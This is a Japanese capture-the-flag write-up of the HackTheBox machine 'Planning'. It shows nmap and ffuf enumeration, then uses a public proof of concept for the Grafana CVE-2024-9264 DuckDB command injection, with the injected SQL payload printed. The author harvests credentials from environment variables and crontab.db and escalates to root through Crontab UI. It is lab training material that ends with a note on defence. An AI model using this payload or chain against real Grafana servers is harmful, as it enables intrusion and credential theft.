はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Planningです。
Planningでは、列挙やGrafanaの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 17:44 JST
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.25 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後planning.htbにアクセスすると、以下の様な画面が表示されます。
Education Coursesと書かれている通りに教育に関するWebサイトと思われます。
Gobusterを用いてコンテンツ探索を行いましたが、特に目ぼしい情報は見つかりませんでした。
ファジング
ffufを実行してファジングを行います。
ワードリストについて、SecListsのsubdomains-top1million-5000.txtを指定して実行したところ、何も検出されませんでした。
$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://planning.htb/ -H "Host: FUZZ.planning.htb" -fs 0,178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb/
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,178
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
しかし、ワードリストをnamelist.txtに変更して実行したところ、grafanaのサブドメインを検出しました。
$ ffuf -u http://planning.htb -H "Host:FUZZ.planning.htb" -w ~/tool/SecLists/Discovery/DNS/namelist.txt -fs 0,178 -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,178
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 257ms]
:: Progress: [151265/151265] :: Job [1/1] :: 397 req/sec :: Duration: [0:06:30] :: Errors: 0 ::
脆弱性分析
grafana.planning.htbにアクセスすると、Grafanaのログイン画面が確認できます。
提供されている認証情報を用いてログインを行います。
ログイン後、GrafanaのHome画面が表示されます。
Grafanaのバージョンを確認すると、11.0.0であることが確認できます。
GoogleでGrafanaのバージョン11.0.0に関する脆弱性を検索した結果、CVE-2024-9264の脆弱性が見つかりました。
CVE‑2024‑9264は、Grafana 11.0.0で導入された実験的機能であるSQL Expressionsに存在する脆弱性です。
この機能で生成されるクエリがDuckDBに渡される前に十分にサニタイズされていないため、コマンドインジェクション及びローカルファイルインクルードの脆弱性が生じます。また、VIEWER以上の権限を持つユーザーであれば、誰でもこの攻撃を実行できます。
GitHubで見つけたPoCを適当に試すと、RCEの実行が確認できました。
$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "id" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)
上記idコマンドの結果及び/home配下の確認結果などから、Grafanaはコンテナで起動していることが推測できます。
$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "ls -l /home/" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ls -l /home/
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('ls -l /home/ >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
total 4
drwxr-x--- 2 grafana root 4096 May 14 2024 grafana
認証情報を探索していたところ、興味深い環境変数を発見しました。
$ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env" http://grafana.planning.htb
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=[REDACTED]
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
システムハッキング
環境変数から取得した認証情報を用いてアクセスを行います。
ユーザーフラグ
enzoユーザでログイン後、ユーザーフラグが確認できます。
$ ssh ssh enzo@planning.htb
total 32
drwxr-x--- 4 enzo enzo 4096 Apr 3 13:49 ./
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ../
lrwxrwxrwx 1 root root 9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31 2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr 3 13:49 .cache/
-rw-r--r-- 1 enzo enzo 807 Mar 31 2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh/
-rw-r----- 1 root enzo 33 Jun 9 07:38 user.txt
ルートフラグ
sudoなどは特に設定されていなかったため、ssコマンドでリッスンしているポートを確認したところ、ローカルで起動しているサービスがいくつか確認できました。
$ ss -aln -t4
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:45411 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
3000番ポートはGrafanaで使用されています。8000番ポートを調査するため、ポートフォワーディングを行いアクセスします。
$ ssh -L 8000:127.0.0.1:8000 enzo@planning.htb
以下のような認証画面が確認できました。
ログインするための認証情報を探索していたところ、/opt配下に興味深いディレクトリを発見しました。
total 16
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ./
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ../
drwx--x--x 4 root root 4096 Feb 28 19:06 containerd/
drwxr-xr-x 2 root root 4096 Jun 9 08:34 crontabs/
/opt/crontabs/ディレクトリよりcrontab.dbファイルが確認できます。
total 12
drwxr-xr-x 2 root root 4096 Jun 9 08:34 ./
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ../
-rw-r--r-- 1 root root 737 Jun 9 09:01 crontab.db
crontab.dbファイルの中身を確認すると、新たな認証情報を発見しました。
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P [REDACTED] /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
取得した認証情報を用いてログインすると、GUIベースでcronジョブを管理できるCrontab UIの画面が表示されます。
rootで動作していると思われるため、rootとして実行したいコマンドをジョブに設定します。
cronの実行を待たずに「Run now」を押して、実行します。
以下の例では、/tmp/配下にroot.txtファイルを出力することに成功しました。
total 60
drwxrwxrwt 14 root root 4096 Jun 9 09:05 ./
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ../
-rw-r--r-- 1 root root 0 Jun 9 09:03 bnLTQPdZAuWmfgDL.stderr
-rw-r--r-- 1 root root 0 Jun 9 09:03 bnLTQPdZAuWmfgDL.stdout
-rw-r--r-- 1 root root 0 Jun 9 09:05 EF0QqNRqIGZDPkLO.stderr
-rw-r--r-- 1 root root 0 Jun 9 09:05 EF0QqNRqIGZDPkLO.stdout
-rw-r--r-- 1 root root 0 Jun 9 09:04 ek1BQcgvd9uqZwnk.stderr
-rw-r--r-- 1 root root 0 Jun 9 09:04 ek1BQcgvd9uqZwnk.stdout
drwxrwxrwt 2 root root 4096 Jun 9 07:37 .font-unix/
-rw-r--r-- 1 root root 0 Jun 9 08:34 GTI22PpoJNtRKg0W.stderr
-rw-r--r-- 1 root root 0 Jun 9 08:34 GTI22PpoJNtRKg0W.stdout
drwxrwxrwt 2 root root 4096 Jun 9 07:37 .ICE-unix/
-rw-r--r-- 1 root root 33 Jun 9 09:05 root.txt
drwx------ 3 root root 4096 Jun 9 08:24 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-fwupd.service-dYc8eZ/
drwx------ 3 root root 4096 Jun 9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-ModemManager.service-PgyLV4/
drwx------ 3 root root 4096 Jun 9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-polkit.service-JSkcnB/
drwx------ 3 root root 4096 Jun 9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-systemd-logind.service-F41sRp/
drwx------ 3 root root 4096 Jun 9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-systemd-resolved.service-vSlVdQ/
drwx------ 3 root root 4096 Jun 9 07:37 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-systemd-timesyncd.service-HVpK96/
drwx------ 3 root root 4096 Jun 9 08:24 systemd-private-02e2c0da0f8843ac83b5cbbf16182db5-upower.service-eLgXvP/
drwx------ 2 root root 4096 Jun 9 07:38 vmware-root_739-4248680507/
drwxrwxrwt 2 root root 4096 Jun 9 07:37 .X11-unix/
drwxrwxrwt 2 root root 4096 Jun 9 07:37 .XIM-unix/
-rw-r--r-- 1 root root 0 Jun 9 09:05 YvZsUUfEXayH6lLj.stderr
-rw-r--r-- 1 root root 0 Jun 9 09:05 YvZsUUfEXayH6lLj.stdout
おわりに
CVE-2024-9264のような脆弱性を防ぐためには、ユーザーが作成した式やSQL文をそのまま評価及び実行しないことが重要です。
ユーザー入力を直接クエリ文字列や実行コードとして組み込むことができる場合、SQLインジェクションだけでなく、データベースや組み込みエンジン経由でのファイル読み取りや外部コマンドの実行といった深刻な脅威を招きます。








